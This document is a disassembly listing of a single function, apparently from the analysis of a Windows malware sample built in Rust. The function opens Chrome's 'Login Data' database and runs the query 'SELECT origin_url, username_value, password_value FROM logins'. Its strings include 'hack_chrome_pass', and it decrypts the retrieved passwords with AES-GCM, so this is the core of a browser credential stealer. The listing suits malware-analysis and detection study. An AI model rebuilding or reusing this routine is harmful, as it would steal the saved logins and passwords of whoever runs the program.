Function at 0x14000ef71
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xfa8
movdqa xmmword [rsp + 0xf90], xmm15
movdqa xmmword [rsp + 0xf80], xmm14
movdqa xmmword [rsp + 0xf70], xmm13
movdqa xmmword [rsp + 0xf60], xmm12
movdqa xmmword [rsp + 0xf50], xmm11
movdqa xmmword [rsp + 0xf40], xmm10
movdqa xmmword [rsp + 0xf30], xmm9
movdqa xmmword [rsp + 0xf20], xmm8
movdqa xmmword [rsp + 0xf10], xmm7
movdqa xmmword [rsp + 0xf00], xmm6
mov qword [rsp + 0x90], r9
mov rdi, r8
mov rbx, rdx
mov r13, rcx
lea rdx, str.hack_chrome_pass6_._
lea rsi, [rsp + 0xb00]
mov r8d, 0x10
mov rcx, rsi
call fcn.14016cc08
lea r8, [0x1402e3f58]
lea r14, [rsp + 0x330]
mov rcx, r14
mov rdx, rsi
call fcn.140006dac
mov rcx, r14
call fcn.14016d274
mov r8, rdx
mov qword [rsp + 0x20], 0xa
lea r9, str.Login_Data
lea r14, [rsp + 0xee0]
mov rcx, r14
mov rdx, rax
call case.0x140158034.266
mov rsi, qword [r14]
mov r15, qword [r14 + 0x10]
mov qword [rsp + 0x20], r15
lea r12, [rsp + 0xb00]
mov rcx, r12
mov rdx, rbx
mov r8, rdi
mov r9, rsi
call fcn.1400020bd
mov rcx, qword [r12]
mov rdx, qword [r12 + 8]
lea r8, [0x1402e3f80]
call fcn.140006e9c
mov rdi, qword [r14 + 8]
and qword [rsp + 0x1b0], 0
mov rcx, rsi
mov rdx, r15
call fcn.140002d29
lea r14, str.failed_to_process_a_path
lea r12, str.failed_to_write_whole_buffer
test rax, rax
je 0x14000f125
mov r8, rdx
lea rbx, [rsp + 0x740]
mov rcx, rbx
mov rdx, rax
call fcn.140043e40
cmp qword [rbx], 0
je 0x1400107ea
lea rdx, [rsp + 0xb00]
mov qword [rdx], r14
mov qword [rdx + 8], 1
mov qword [rdx + 0x10], r12
pxor xmm0, xmm0
movdqu xmmword [rdx + 0x18], xmm0
lea rbx, [rsp + 0x390]
mov rcx, rbx
call fcn.1400073ad
and qword [rbx - 0x10], 0
lea rcx, [rsp + 0x740]
call fcn.140004588
jmp 0x14000f15a
lea rdx, [rsp + 0xb00]
mov qword [rdx], r14
mov qword [rdx + 8], 1
mov qword [rdx + 0x10], r12
pxor xmm0, xmm0
movdqu xmmword [rdx + 0x18], xmm0
lea rbx, [rsp + 0x390]
mov rcx, rbx
call fcn.1400073ad
and qword [rbx - 0x10], 0
xor ebx, ebx
lea r15, [rsp + 0xb00]
mov rcx, rsi
mov rdx, rdi
call fcn.140043da0
cmp rbx, 2
jne 0x140010aab
mov rax, qword [rsp + 0x388]
mov qword [rsp + 0x170], rax
mov rbp, qword [rsp + 0x390]
mov r14, qword [rsp + 0x398]
and qword [rsp + 0x1b0], 0
lea rdx, str.SELECT_origin_url__username_value__password_value_FROM_logins
lea rsi, [rsp + 0x740]
mov r8d, 0x3d
mov rcx, rsi
call fcn.140043e40
cmp qword [rsi], 0
jne 0x140010ae8
mov rdi, qword [rsp + 0x748]
mov rsi, qword [rsp + 0x750]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x1b0]
mov rcx, r14
mov rdx, rdi
mov r8d, 0xffffffff
call fcn.1401906c0
test eax, eax
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x160], rbp
mov qword [rsp + 0x158], r14
je 0x14000f2a2
mov ebx, eax
mov rdx, r14
lea r14, [rsp + 0xb00]
mov rcx, r14
call fcn.14014e0cc
cmp dword [r14], 2
je 0x140010b33
movdqu xmm0, xmmword [rsp + 0xb00]
movdqu xmm1, xmmword [rsp + 0xb10]
movdqa xmmword [rsp + 0x380], xmm0
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x3a0], rax
movdqa xmmword [rsp + 0x390], xmm1
mov rbx, qword [rsp + 0x380]
mov rcx, rdi
mov rdx, rsi
call fcn.1400051b3
cmp rbx, 2
jne 0x140010b5e
mov rsi, qword [rsp + 0x388]
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0xf8], rax
jmp 0x14000f2bd
mov rcx, rdi
mov rdx, rsi
call fcn.1400051b3
mov rsi, qword [rsp + 0x1b0]
mov qword [rsp + 0xf8], r14
lea rax, [rsp + 0x108]
mov qword [rax], 8
pxor xmm7, xmm7
movdqu xmmword [rax + 8], xmm7
mov rax, qword [rsp + 0x90]
add rax, 0x10
mov qword [rsp + 0x178], rax
lea r14, [rsp + 0x380]
movabs r12, 0xf00ff00f00000
movabs r13, 0xf0f00000f0f0000
movabs rbp, 0xf000ff000f0000
lea rbx, [rsp + 0xd0]
mov qword [rsp + 0x88], rsi
mov rcx, rsi
call fcn.140190e34
cmp eax, 0x64
jne 0x1400106a8
mov rdi, rsi
mov rcx, r15
mov rdx, rsi
xor r8d, r8d
call fcn.14000b8ca
lea rcx, [rsp + 0x350]
mov rdx, r15
lea r8, [0x1402e4020]
call fcn.140006d12
mov eax, 1
mov qword [rsp + 0x50], rax
mov r8d, 1
mov rcx, r15
mov rdx, rsi
call fcn.14000b8ca
lea rcx, [rsp + 0x368]
mov rdx, r15
lea r8, [0x1402e4038]
call fcn.140006d12
mov rcx, rsi
mov edx, 2
call fcn.140191184
mov rsi, rax
mov eax, 0
mov qword [rsp + 0x58], rax
mov eax, 0
mov qword [rsp + 0x98], rax
test rsi, rsi
je 0x14000f3ee
mov rcx, rdi
mov edx, 2
call fcn.140191310
movsxd rdi, eax
mov rcx, rdi
call fcn.1401491a3
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0x50], rax
mov rcx, rax
mov rdx, rsi
mov qword [rsp + 0x58], rdi
mov r8, rdi
call fcn.1402afaf0
mov rax, qword [rsp + 0x1010]
mov qword [rsp + 0x380], rax
cmp rax, 0x20
jne 0x14001093d
mov al, byte [0x14042a460]
cmp al, 0xff
je 0x14000f986
cmp al, 1
jne 0x14000f9c3
mov rax, qword [rsp + 0x90]
movdqu xmm6, xmmword [rax]
movdqu xmm7, xmmword [rax + 0x10]
movdqa xmmword [rsp + 0x2c0], xmm7
lea rsi, [rsp + 0x1b0]
mov rcx, rsi
lea rdx, [rsp + 0x2c0]
call fcn.14002411f
pshufd xmm0, xmmword [rsp + 0x1b0], 0xff
movdqa xmmword [rsp + 0x130], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm6
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm6
movdqa xmmword [rsp + 0x2d0], xmm0
movdqa xmm6, xmm0
mov rcx, rsi
lea rdx, [rsp + 0x2d0]
call fcn.14002412a
pshufd xmm0, xmmword [rsp + 0x1b0], 0xaa
movdqa xmmword [rsp + 0x60], xmm7
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm0, xmm7
pslldq xmm0, 0xc
pxor xmm0, xmm1
pxor xmm0, xmm2
pxor xmm0, xmm7
movdqa xmmword [rsp + 0x2e0], xmm0
movdqa xmm8, xmm0
mov rcx, rsi
lea rdx, [rsp + 0x2e0]
call fcn.140024135
pshufd xmm0, xmmword [rsp + 0x1b0], 0xff
movdqa xmmword [rsp + 0xe0], xmm6
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm7, xmm6
pslldq xmm7, 0xc
pxor xmm7, xmm1
pxor xmm7, xmm2
pxor xmm7, xmm6
movdqa xmmword [rsp + 0x2f0], xmm7
mov rcx, rsi
lea rdx, [rsp + 0x2f0]
call fcn.14002412a
pshufd xmm0, xmmword [rsp + 0x1b0], 0xaa
movdqa xmmword [rsp + 0xa0], xmm8
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm6, xmm8
pslldq xmm6, 0xc
pxor xmm6, xmm1
pxor xmm6, xmm2
pxor xmm6, xmm8
movdqa xmmword [rsp + 0x300], xmm6
mov rcx, rsi
lea rdx, [rsp + 0x300]
call fcn.140024140
pshufd xmm0, xmmword [rsp + 0x1b0], 0xff
movdqa xmm1, xmm7
pslldq xmm1, 4
movdqa xmm2, xmm7
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm9, xmm7
pslldq xmm9, 0xc
pxor xmm9, xmm1
pxor xmm9, xmm2
pxor xmm9, xmm7
movdqa xmmword [rsp + 0x310], xmm9
mov rcx, rsi
lea rdx, [rsp + 0x310]
call fcn.14002412a
pshufd xmm0, xmmword [rsp + 0x1b0], 0xaa
movdqa xmm1, xmm6
pslldq xmm1, 4
movdqa xmm2, xmm6
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm8, xmm6
pslldq xmm8, 0xc
pxor xmm8, xmm1
pxor xmm8, xmm2
pxor xmm8, xmm6
movdqa xmmword [rsp + 0x320], xmm8
mov rcx, rsi
lea rdx, [rsp + 0x320]
call fcn.14002414b
pshufd xmm0, xmmword [rsp + 0x1b0], 0xff
movdqa xmm1, xmm9
pslldq xmm1, 4
movdqa xmm2, xmm9
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm11, xmm9
pslldq xmm11, 0xc
pxor xmm11, xmm1
pxor xmm11, xmm2
pxor xmm11, xmm9
movdqa xmmword [rsp + 0x140], xmm11
mov rcx, rsi
lea rdx, [rsp + 0x140]
call fcn.14002412a
pshufd xmm0, xmmword [rsp + 0x1b0], 0xaa
movdqa xmm1, xmm8
pslldq xmm1, 4
movdqa xmm2, xmm8
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm10, xmm8
pslldq xmm10, 0xc
pxor xmm10, xmm1
pxor xmm10, xmm2
pxor xmm10, xmm8
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rsi
lea rdx, [rsp + 0x70]
call fcn.140024156
pshufd xmm0, xmmword [rsp + 0x1b0], 0xff
movdqa xmm1, xmm11
pslldq xmm1, 4
movdqa xmm2, xmm11
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm13, xmm11
pslldq xmm13, 0xc
pxor xmm13, xmm1
pxor xmm13, xmm2
pxor xmm13, xmm11
movdqa xmmword [rsp + 0xd0], xmm13
mov rcx, rsi
mov rdx, rbx
call fcn.14002412a
pshufd xmm0, xmmword [rsp + 0x1b0], 0xaa
movdqa xmm1, xmm10
pslldq xmm1, 4
movdqa xmm2, xmm10
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm12, xmm10
pslldq xmm12, 0xc
pxor xmm12, xmm1
pxor xmm12, xmm2
pxor xmm12, xmm10
movdqa xmmword [rsp + 0x120], xmm12
mov rcx, rsi
lea rdx, [rsp + 0x120]
call fcn.140024161
pshufd xmm0, xmmword [rsp + 0x1b0], 0xff
movdqa xmm1, xmm13
pslldq xmm1, 4
movdqa xmm2, xmm13
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm15, xmm13
pslldq xmm15, 0xc
pxor xmm15, xmm1
pxor xmm15, xmm2
pxor xmm15, xmm13
movdqa xmmword [rsp + 0x190], xmm15
mov rcx, rsi
lea rdx, [rsp + 0x190]
call fcn.14002412a
pshufd xmm0, xmmword [rsp + 0x1b0], 0xaa
movdqa xmm1, xmm12
pslldq xmm1, 4
movdqa xmm2, xmm12
pslldq xmm2, 8
pxor xmm2, xmm0
movdqa xmm14, xmm12
pslldq xmm14, 0xc
pxor xmm14, xmm1
pxor xmm14, xmm2
pxor xmm14, xmm12
movdqa xmmword [rsp + 0x1b0], xmm14
lea rbx, [rsp + 0xb0]
mov rcx, rbx
mov rdx, rsi
call fcn.14002416c
pshufd xmm0, xmmword [rsp + 0xb0], 0xff
movdqa xmm1, xmm15
pslldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm0, xmm15
pslldq xmm0, 4
movdqa xmm2, xmm15
pslldq xmm2, 0xc
pxor xmm2, xmm0
pxor xmm2, xmm1
movaps xmm0, xmmword [rsp + 0x130]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x1d0], xmm0
movdqa xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1f0], xmm7
pxor xmm7, xmm7
movdqa xmmword [rsp + 0x200], xmm6
movdqa xmmword [rsp + 0x210], xmm9
movdqa xmmword [rsp + 0x220], xmm8
movdqa xmmword [rsp + 0x230], xmm11
movdqa xmmword [rsp + 0x240], xmm10
movdqa xmmword [rsp + 0x250], xmm13
movdqa xmmword [rsp + 0x260], xmm12
pxor xmm2, xmm15
movdqa xmmword [rsp + 0x270], xmm15
movdqa xmmword [rsp + 0x280], xmm14
movdqa xmmword [rsp + 0x290], xmm2
lea rcx, [rsp + 0x470]
mov rdx, rsi
call fcn.140001e4a
mov r8d, 0xf0
mov rcx, r14
mov rdx, rsi
call fcn.1402afaf0
mov r8d, 0x1e0
lea rsi, [rsp + 0x740]
mov rcx, rsi
mov rdx, r14
call fcn.1402afaf0
mov rdi, qword [rsp + 0x58]
jmp 0x14000fcf0
mov eax, 1
xor ecx, ecx
mov r8, rbx
cpuid
xchg rbx, r8
mov r8d, ecx
mov eax, 7
xor ecx, ecx
mov r9, rbx
cpuid
xchg rbx, r9
and r8d, 0x2000000
mov eax, r8d
shr eax, 0x19
mov byte [0x14042a460], al
test r8d, r8d
jne 0x14000f41e
mov r8d, 0x3c0
mov rcx, r14
xor edx, edx
call fcn.1402b0760
mov esi, 0x10
mov qword [rsp + 0x48], rsi
mov r8, qword [rsp + 0x90]
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
mov ebx, 8
mov edx, 8
mov r9d, 0x10
mov rcx, r14
call fcn.1400227da
mov qword [rsp + 0x48], rsi
mov r8, qword [rsp + 0x178]
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r8
mov edx, 8
mov r9d, 0x10
lea rcx, [rsp + 0x3c0]
call fcn.1400227da
xor edi, edi
lea r15, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
mov rcx, r14
mov rdx, rbx
call fcn.140022c23
lea rsi, [rbx + 8]
add rbx, 0x10
mov rcx, r14
mov rdx, rsi
mov r8, rbx
mov r9, r15
call fcn.140023294
mov rcx, rax
call fcn.140022c87
mov rcx, r14
mov rdx, rsi
mov r8, rbx
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
mov rcx, rax
call fcn.140023028
mov rcx, r14
mov rdx, rsi
mov r8, rbx
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
cmp rdi, rdx
jae 0x140010881
xor byte [rax + rdi*8 + 3], 0xf0
mov rcx, r14
mov rdx, rsi
mov r8d, 0x1c
call fcn.1400230d8
cmp rdi, 6
je 0x14000fb46
mov rcx, r14
mov rdx, rsi
call fcn.140022c23
lea rbx, [rsi + 8]
add rsi, 0x10
mov rcx, r14
mov rdx, rbx
mov r8, rsi
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
mov rcx, rax
call fcn.140022c87
mov rcx, r14
mov rdx, rbx
mov r8, rsi
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
mov rcx, rax
call fcn.140023028
mov rcx, r14
mov rdx, rbx
mov r8d, 0xc
call fcn.1400230d8
inc rdi
jmp 0x14000fa5d
mov r15d, 3
mov edi, 8
sub r15, 1
jb 0x14000fc42
lea rsi, [rdi + 8]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
shl rdx, 3
xor ecx, ecx
cmp rdx, rcx
je 0x14000fbbb
mov r8, qword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, r12
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
xor r8, r9
and r8, r13
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
jmp 0x14000fb7a
lea rbx, [rdi + 0x10]
mov rcx, r14
mov rdx, rsi
mov r8, rbx
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
mov rcx, rax
call fcn.14002309d
lea r8, [rdi + 0x18]
mov rcx, r14
mov rdx, rbx
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
shl rdx, 3
xor ecx, ecx
cmp rdx, rcx
je 0x14000fc39
mov r8, qword [rax + rcx]
mov r9, r8
shr r9, 8
xor r9, r8
and r9, rbp
xor r8, r9
shl r9, 8
xor r9, r8
mov r8, r9
shr r8, 4
xor r8, r9
and r8, r13
xor r9, r8
shl r8, 4
xor r8, r9
mov qword [rax + rcx], r8
add rcx, 8
jmp 0x14000fbf8
add rdi, 0x20
jmp 0x14000fb51
mov eax, 0x68
lea r15, [rsp + 0xb00]
mov rdi, qword [rsp + 0x58]
cmp rax, 0x70
je 0x14000fc9d
mov rcx, qword [rsp + rax*8 + 0x380]
mov rdx, rcx
shr rdx, 8
xor rdx, rcx
and rdx, r12
xor rcx, rdx
shl rdx, 8
xor rdx, rcx
mov rcx, rdx
shr rcx, 4
xor rcx, rdx
and rcx, r13
xor rdx, rcx
shl rcx, 4
xor rcx, rdx
mov qword [rsp + rax*8 + 0x380], rcx
inc rax
jmp 0x14000fc54
mov esi, 0x10
cmp rsi, 0x80
je 0x14000fccf
lea rdx, [rsi - 8]
mov rcx, r14
mov r8, rsi
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
call fcn.140023294
mov rcx, rax
call fcn.140023028
add rsi, 8
jmp 0x14000fca2
mov r8d, 0x3c0
lea rsi, [rsp + 0x740]
mov rcx, rsi
mov rdx, r14
call fcn.1402afaf0
lea rbx, [rsp + 0xb0]
mov r8d, 0x3c0
mov rcx, r14
mov rdx, rsi
call fcn.1402afaf0
mov rcx, rbx
call fcn.140098a6d
mov al, byte [0x14042a460]
cmp al, 1
jne 0x14000fd23
mov rcx, r14
mov rdx, rbx
mov r8, rbx
call fcn.14017ec29
jmp 0x14000fd6b
lea rsi, [rsp + 0x1b0]
mov rcx, rsi
call fcn.14002279c
mov rcx, rsi
mov rdx, rbx
call fcn.14017e934
lea rcx, [rsp + 0x740]
mov rdx, r14
mov r8, rsi
lea rsi, [rsp + 0x740]
call fcn.1400232f7
movdqu xmm0, xmmword [rsp + 0x740]
movdqa xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x740], xmm0
mov rcx, rsi
call fcn.140006b0f
mov r8, qword [rsp + 0x740]
mov rax, qword [rsp + 0x748]
mov rcx, rax
shr rcx, 0x3f
mov rdx, rax
shld rdx, r8, 1
shld r8, rax, 1
movabs r9, 0x8000000000000000
and rax, r9
mov r9, rcx
shl r9, 0x3e
or r9, rax
shl rcx, 0x39
or rcx, r9
xor rcx, rdx
movq xmm1, rcx
movq xmm0, r8
punpcklqdq xmm0, xmm1
mov al, byte [0x14042a228]
cmp al, 1
je 0x14000fe46
movzx eax, al
cmp eax, 0xff
mov rsi, qword [rsp + 0x50]
jne 0x14000fe24
mov eax, 1
xor ecx, ecx
mov r9, rbx
cpuid
xchg rbx, r9
mov r9d, ecx
mov eax, 7
xor ecx, ecx
mov r10, rbx
cpuid
xchg rbx, r10
and r9d, 2
mov eax, r9d
shr eax, 1
mov byte [0x14042a228], al
test r9d, r9d
jne 0x14000fe4b
pshufd xmm0, xmm0, 0xee
movq rdx, xmm0
mov rcx, r8
call fcn.140098a74
movq xmm1, rdx
movq xmm0, rax
punpcklqdq xmm0, xmm1
jmp 0x14000fe4b
mov rsi, qword [rsp + 0x50]
movdqa xmmword [rsp + 0xec0], xmm0
movdqa xmmword [rsp + 0xed0], xmm7
mov r8d, 0x3c0
mov rcx, r15
mov rdx, r14
call fcn.1402afaf0
lea rax, [0x1402e4068]
mov qword [rsp + 0x20], rax
mov ecx, 3
mov edx, 0xf
mov r8, rsi
mov r9, rdi
call fcn.1400703a1
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x740], rdx
cmp rdx, 0xc
jne 0x140010999
mov r8d, 0xf
mov rcx, rsi
mov rdx, rdi
lea r9, str.6_._
call fcn.14010bad1
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rsi
mov rdi, rax
mov rsi, rdx
mov rcx, rdx
call fcn.1401491a3
mov rbx, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov rdi, qword [rsp + 0x58]
mov r8, rsi
call fcn.1402afaf0
cmp rsi, 0x10
jb 0x140010422
mov qword [rsp + 0x60], r15
lea r9, [rsi - 0x10]
lea rax, str.0_._
mov qword [rsp + 0x20], rax
mov rcx, r14
mov qword [rsp + 0xe0], rbx
mov rdx, rbx
mov qword [rsp + 0x180], rsi
mov r8, rsi
mov qword [rsp + 0x188], r9
call fcn.140006ad7
mov rcx, qword [rsp + 0x380]
mov rdx, qword [rsp + 0x388]
mov rsi, qword [rsp + 0x390]
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0x740], rax
cmp rax, 0x10
jne 0x140010a5c
movabs rax, 0x1000000011
cmp rdx, rax
lea r15, [rsp + 0xb00]
lea rdi, [rsp + 0xb8]
jae 0x140010410
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0xa0], rcx
mov rcx, r14
call fcn.140098a6d
mov edx, 0x10
mov r8d, 0xc
mov rcx, r14
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
call fcn.140092dc2
lea rcx, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
mov qword [rsp + 0x20], rcx
mov r9d, 0xc
mov rcx, rax
mov r8, qword [rsp + 0x130]
call fcn.1400950ee
mov byte [rsp + 0x38f], 1
mov rax, qword [rsp + 0x380]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x388]
mov dword [rsp + 0x78], eax
movzx eax, word [rsp + 0x38c]
mov word [rsp + 0x7c], ax
mov al, byte [rsp + 0x38e]
mov byte [rsp + 0x7e], al
mov al, byte [rsp + 0x38f]
mov byte [rsp + 0x7f], al
movdqa xmmword [rsp + 0x380], xmm7
xor ebx, ebx
cmp rbx, 0x10
je 0x140010087
mov r8d, 0x10
mov rcx, rbx
lea rdx, [rsp + 0x70]
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001fctr_0.9.2_src_flavorsctr32.rs
call fcn.140052443
mov r8d, 4
mov rcx, rax
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001fctr_0.9.2_src_flavorsctr32.rs
call fcn.140092dc2
cmp rdx, 4
jne 0x14001090f
mov eax, dword [rax]
cmp rbx, 0xc
mov ecx, eax
bswap ecx
cmovne ecx, eax
mov dword [rsp + rbx + 0x380], ecx
add rbx, 4
jmp 0x14001002e
movaps xmm0, xmmword [rsp + 0x380]
movups xmmword [rdi], xmm0
mov qword [rsp + 0xb0], r15
and dword [rsp + 0xc8], 0
lea rbx, [rsp + 0xd0]
mov rcx, rbx
call fcn.140098a6d
mov al, byte [0x14042a460]
cmp al, 1
jne 0x1400100d4
mov rcx, r15
mov rdx, rdi
mov r8, rbx
call fcn.14000b9aa
lea rdi, [rsp + 0x740]
jmp 0x140010120
lea rbx, [rsp + 0x120]
mov rcx, rbx
mov rdx, rdi
call fcn.14000c959
lea rdi, [rsp + 0x740]
mov rcx, rdi
call fcn.14002279c
mov rcx, rdi
mov rdx, rbx
call fcn.14017e934
mov rcx, r14
mov rdx, r15
mov r8, rdi
call fcn.1400232f7
movups xmm0, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
lea rax, [rsp + 0x1d0]
movups xmmword [rax], xmm0
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x190], xmm0
movaps xmmword [rsp + 0x1a0], xmm1
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x140], xmm0
mov al, byte [0x14042a228]
movdqa xmm0, xmmword [rsp + 0xec0]
movdqa xmm1, xmmword [rsp + 0xed0]
movdqa xmmword [rsp + 0x380], xmm0
movdqa xmmword [rsp + 0x390], xmm1
mov rcx, r14
lea rdx, str.failed_to_write_whole_buffer
xor r8d, r8d
call fcn.14000196d
mov rcx, r14
mov rdx, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0x100]
mov r8, rbx
call fcn.14000196d
lea rbx, [rbx*8]
lea r15, [rsp + 0xb0]
mov rcx, r15
call fcn.140098a6d
mov edx, 0x10
mov r8d, 8
mov rcx, r15
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
call fcn.140092dc2
and qword [rsp + 0x740], 0
lea rcx, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
mov qword [rsp + 0x20], rcx
mov r9d, 8
mov rcx, rax
mov r8, rdi
call fcn.1400950ee
bswap rbx
mov qword [rsp + 0xb8], rbx
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x740], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x748], rax
mov r8d, 1
mov rcx, r14
mov rdx, rdi
call fcn.140001a15
movdqa xmm6, xmmword [rsp + 0x390]
mov al, byte [0x14042a228]
cmp al, 1
jne 0x140010287
movdqa xmmword [rsp + 0x740], xmm6
jmp 0x1400102cc
lea rcx, [rsp + 0x1b0]
call fcn.140098a6d
movdqu xmmword [rsp + 0x740], xmm6
xor eax, eax
cmp rax, 2
je 0x1400102ba
mov rcx, qword [rsp + rax*8 + 0x740]
mov qword [rsp + rax*8 + 0x1b0], rcx
inc rax
jmp 0x14001029f
movdqu xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x740], xmm0
lea rcx, [rsp + 0x740]
call fcn.140006b0f
movdqa xmm0, xmmword [rsp + 0x740]
movdqa xmmword [rsp + 0x1b0], xmm0
xor eax, eax
cmp rax, 0x10
je 0x140010306
mov cl, byte [rsp + rax + 0x140]
xor byte [rsp + rax + 0x1b0], cl
inc rax
jmp 0x1400102ed
movdqa xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x120], xmm0
mov edx, 0x10
mov r8d, 0x10
lea rcx, [rsp + 0x120]
lea r9, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_gcm_0.10.3_srclib.rs
call fcn.140092dc2
cmp rdx, 0x10
jne 0x14001036c
mov r15, rax
mov bl, 1
xor eax, eax
cmp rax, 0x10
je 0x14001036e
lea rdi, [rax + 1]
mov dl, byte [rsi + rax]
xor dl, byte [r15 + rax]
mov ecx, edx
neg cl
or cl, dl
not cl
shr cl, 7
call fcn.14016cbfd
and bl, al
mov rax, rdi
jmp 0x140010344
xor ebx, ebx
mov ecx, ebx
call fcn.14016cbfd
test al, al
mov rsi, qword [rsp + 0x50]
mov r15, qword [rsp + 0x188]
je 0x140010410
mov r8, qword [rsp + 0x100]
mov rbx, r8
and rbx, 0xf
je 0x1400103b3
mov eax, dword [rsp + 0x1a8]
mov ecx, 0xffffffff
xor rax, rcx
cmp rbx, rax
jae 0x140010a8c
cmp r8, 0x10
lea rdx, [rsp + 0x740]
jbe 0x140010599
mov rax, r8
shr rax, 4
and r8, 0xfffffffffffffff0
mov rcx, qword [rsp + 0xa0]
add r8, rcx
mov qword [rsp + 0x740], rcx
mov qword [rsp + 0x748], rcx
mov qword [rsp + 0x750], rax
lea rcx, [rsp + 0x190]
mov rdi, r8
call fcn.14000b44e
mov qword [rsp + 0xa0], rdi
jmp 0x14001059c
mov rdi, qword [rsp + 0x58]
mov rbx, qword [rsp + 0xe0]
mov r15, qword [rsp + 0x60]
mov rcx, rbx
mov rdx, r15
call fcn.140043da0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x388], rax
mov qword [rsp + 0x390], rdi
lea rcx, [rsp + 0x740]
mov rdx, r14
call fcn.140010b9b
mov al, byte [0x14042a460]
mov rdi, qword [rsp + 0x740]
